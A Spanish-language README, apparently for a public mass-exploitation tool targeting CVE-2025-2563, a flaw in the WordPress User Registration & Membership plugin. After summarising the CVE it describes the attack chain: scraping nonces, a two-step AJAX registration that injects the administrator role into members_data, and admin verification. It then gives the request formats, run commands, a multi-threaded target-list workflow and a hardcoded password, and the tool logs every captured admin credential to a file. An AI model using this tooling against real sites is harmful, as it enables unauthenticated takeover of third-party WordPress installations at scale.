
El plugin User Registration & Membership de WordPress anterior a la versión 4.1.2 no impide que los usuarios establezcan su rol de cuenta cuando el Membership Addon está habilitado, lo que provoca un problema de escalada de privilegios y permite que usuarios no autenticados obtengan privilegios de administrador.
El plugin User Registration & Membership de WordPress, anterior a la versión 4.1.2, no impide que los usuarios establezcan su rol de cuenta cuando el Membership Addon está habilitado, lo que provoca un problema de escalada de privilegios y permite que usuarios no autenticados obtengan privilegios de administrador.
| Campo | Detalles |
|---|---|
| ID de CVE | CVE-2025-2563 |
| Gravedad | ALTA — Puntuación CVSS v3.1: 8.1 |
| Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Software afectado | Plugin User Registration & Membership para WordPress |
| Versiones afectadas | Todas las versiones anteriores a la 4.1.2 |
| Tipo de vulnerabilidad | Gestión incorrecta de privilegios: creación de cuentas de administrador sin autenticación |
| Autenticación requerida | Ninguna |
| CWE | CWE-269: Gestión incorrecta de privilegios |
Descripción:
El plugin User Registration & Membership para WordPress, en versiones anteriores a la 4.1.2, no aplica restricciones de rol del lado del servidor cuando el Membership Addon está habilitado. Durante el proceso de registro de membresía, el plugin acepta un campo role proporcionado por el usuario dentro de la acción AJAX user_registration_membership_register_member sin validarlo contra una lista blanca del servidor. Un atacante remoto completamente no autenticado puede enviar una cadena AJAX de dos pasos manipulada — primero registrando una nueva cuenta de usuario mediante user_registration_user_form_submit y luego inyectando "role": "administrator" en el payload members_data de la llamada de membresía — para crear silenciosamente una cuenta de Administrador de WordPress con privilegios completos. Esto resulta en un compromiso total del sitio sin necesidad de autenticación ni interacción del usuario.
Esta es una herramienta de escaneo de explotación masiva de Prueba de Concepto (PoC) dirigida a instalaciones de WordPress que ejecutan una versión vulnerable del plugin User Registration & Membership con el Membership Addon activo. La herramienta realiza una explotación inteligente en múltiples etapas con descubrimiento automático, obtención de nonces, registro basado en combinaciones, inyección de rol y verificación de administrador.
[Phase 1 — Discovery]
GET /membership-pricing/ → Extract membership_id, pricing links
GET /membership-registration/ → Extract form_id, nonces, security tokens
GET /registration/ → Fallback registration page
↓
[Phase 2 — Nonce Extraction]
Parse: ur_membership_frontend_localized_data._nonce
Parse: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Phase 3 — Registration (Combo Attack)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Try all valid combos until success=true
↓
[Phase 4 — Role Injection (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Server assigns administrator role to newly created user
↓
[Phase 5 — Admin Verification]
POST /wp-login.php → Login with new credentials
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
O mediante el archivo de requisitos:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
La herramienta utiliza una interfaz de terminal totalmente interactiva basada en Rich.
Crea un archivo de texto plano (por defecto: list.txt) — un objetivo por línea:
https://target1.com
https://target2.com
http://target3.com
target4.com
Los objetivos sin
http://ohttps://reciben automáticamente el prefijohttps://.
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Max registration attempts per target [20]: 20
La contraseña se fija internamente como
Nx_adminSApara todos los intentos de registro.
La herramienta sondea tres páginas automáticamente por cada objetivo:
| Página | Propósito |
|---|---|
/membership-pricing/ | Extraer membership_id y enlaces de registro |
/membership-registration/ | Extraer tokens de formulario, nonces e IDs de campos |
/membership-registration/?membership_id=<id> | Extracción del formulario específico del plan |
/registration/ | Página de registro genérica de respaldo |
Los siguientes tokens se extraen del HTML bruto y del JavaScript en línea:
| Token | Fuente |
|---|---|
_nonce | Objeto JS ur_membership_frontend_localized_data |
ur_frontend_form_nonce | Campo de entrada oculto u objeto JS |
security | user_registration_params.user_registration_form_data_save |
form_id | Campo de entrada oculto ur-user-form-id u objeto JS |
membership_id | Campo de entrada radio urm_membership o cadena de consulta de la URL |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest